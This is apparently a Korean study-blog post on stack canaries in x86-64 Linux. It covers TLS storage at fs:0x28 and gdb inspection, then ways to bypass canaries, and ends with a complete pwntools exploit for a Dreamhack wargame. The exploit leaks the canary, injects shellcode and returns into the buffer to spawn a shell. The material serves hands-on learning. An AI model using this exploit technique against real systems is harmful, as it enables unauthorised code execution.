stack canary
- 함수의 프롤로그에서 스택 버퍼와 반환주소 사에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법
- 변조 감지시, 프로세스가 강제종료됨.
- 변조 감지시, 프로세스가 강제종료됨.
gcc -o no_canary canary.c -fno-stack-protector
로 카나리를 적용하지 않고 컴파일 한 결과와 비교해봤다.
fs:0x28
의 데이터를 읽어rax
에 저장한다.fs
는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때fs:0x28
에 랜덤값을 저장한다. 따라서 랜덤값이 rax에 저장되고, rbp-0x8에 저장된다.fs
: Thread Local Storage(TLS)를 가리키는 포인터로 사용 ( 카나리, 프로세스 실행에 필요한 여러 데이터가 저장 )
- 카나리가 저장되는 부분을 살펴보면, 첫 바이트가 널바이트인 8바이트 데이터가 저장되어있다.
- 만에 하나 버그가 발생해서 strcpy 등의 함수를 통해 스택을 복사하게 될 때, 널 바이트를 통해 카나리 값과 그 이후의 스택 값을 유출되지 않게 하기 위함
카나리 생성 과정
- 카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다.
fs
는 TLS를 가리키므로,fs
를 알면 TLS의 주소를 알 수 있다. (직접 fs를 볼 수는 없음)fs
의 값을 설정할 때 호출되는arch_prctl(int code, unsigned long addr)
syscall에 브포를 걸어fs
가 어떤값으로 설정되는지 조사해보자.catch
: 특정 이벤트 발생시, 프로세스 중지- catch syscall arch_prctl
- rsi가 가리키는 값에 TLS를 저장할거고, fs가 이를 가리키게 될 것이다.
- catch syscall arch_prctl
watch
: 특정 주소에 저장된 값이 변경되면 프로세스를 중지- watch *(0x7ffff7d7f740+0x28) 로 TLS+0x28의 값을 조회하면(x/gx 0x7ffff7d7f740+0x28) 카나리 값 확인 가능
카나리 우회
< 공격 조건 >
- 코드를 삽입할 수 있는 임의의 버퍼가 있을 때, 해당 버퍼의 주소를 알거나 구할 수 있다.
- 실행 흐름을 옮길 수 있다.
- TLS 접근
- 카나리는 TLS에 저장되며 카나리에 의해 보호되는 함수마다 이를 참조해 사용한다.
- TLS의 주소는 매 실행마다 바뀌지만, 만약 실행중에 TLS의 주소를 알 수 있고 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나 이를 임의의 값으로 조작 가능
- 그 뒤, stack bof 수행시 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회가능
- 스택 카나리 릭
- 스택 카나리를 읽을 수 있는 취약점이 있다면, 이를 이용하여 카나리 검사를 우회 가능
스택 카나리 실습
- 보호기법 탐지
checksec [파일명]
- 오류시,
export PATH="$HOME/.local/bin/:$PATH"
- 오류시,
- 카나리까지의 거리를 구하여 +1 만큼 채워 카나리 값을 구한다.
canary = u64(b'\x00'+p.recvn(7))
- 쉘 코드를 버퍼에 삽입하고 해당 버퍼위치로 이동하게끔 RET를 넣어준다.
shellcode = asm(shellcraft.sh())
,shellcode.ljust(canaryd,b'A')
- exploit
from pwn import *
#p = process("./r2s")
p = remote("host1.dreamhack.games",17968)
context.arch = 'amd64'
p.recvuntil(b": ")
buf = int(p.recvline()[:-1],16)
print("[+] Address of buf: {}".format(hex(buf)))
p.recvuntil(b": ")
distance = int(p.recvline()[:-1])
sfpd = distance
canaryd = sfpd-8
print("[+] buf <=> sfp: {}".format(hex(sfpd)))
print("[+] buf <=> canary: {}".format(hex(canaryd)))
payload1 = b'A'*(canaryd +1)
p.sendafter(b'Input:', payload1)
p.recvuntil(payload1)
canary = u64(b'\x00'+p.recvn(7))
print("[+] Canary: {}".format(canary))
# payload2 = shellcode내용 + dummy + canary + SFP + RET(buf주소)
shellcode = asm(shellcraft.sh()) # shellcode asm으로 만들기
payload2 = shellcode.ljust(canaryd,b'A') # 크기만큼 오른쪽에 채워넣는다.
payload2 += p64(canary)
payload2 += b'S'*0x8
payload2 += p64(buf)
p.sendafter(b"Input: ",payload2)
p.interactive()
Arbitary Code Execution (ACE) : 임의의 코드 실행
Remote Code Execution(RCE) : 원격 코드 실행 <- NX(Not eXecutable), ASLR(Address Space Layout Randomization)
'Pwn' 카테고리의 다른 글
ROP 완벽 이해와 추가 예제 풀이 (0) | 2025.02.26 |
---|---|
[PWN Dreamhack] RTL, ROP (0) | 2025.02.22 |
[PWN Dreamhack] BOF (0) | 2025.02.21 |
[PWN Dreamhack] pwntools & Shellcode (0) | 2025.02.21 |
[PWN Dreamhack] 컴퓨터과학 배경지식 (0) | 2025.02.20 |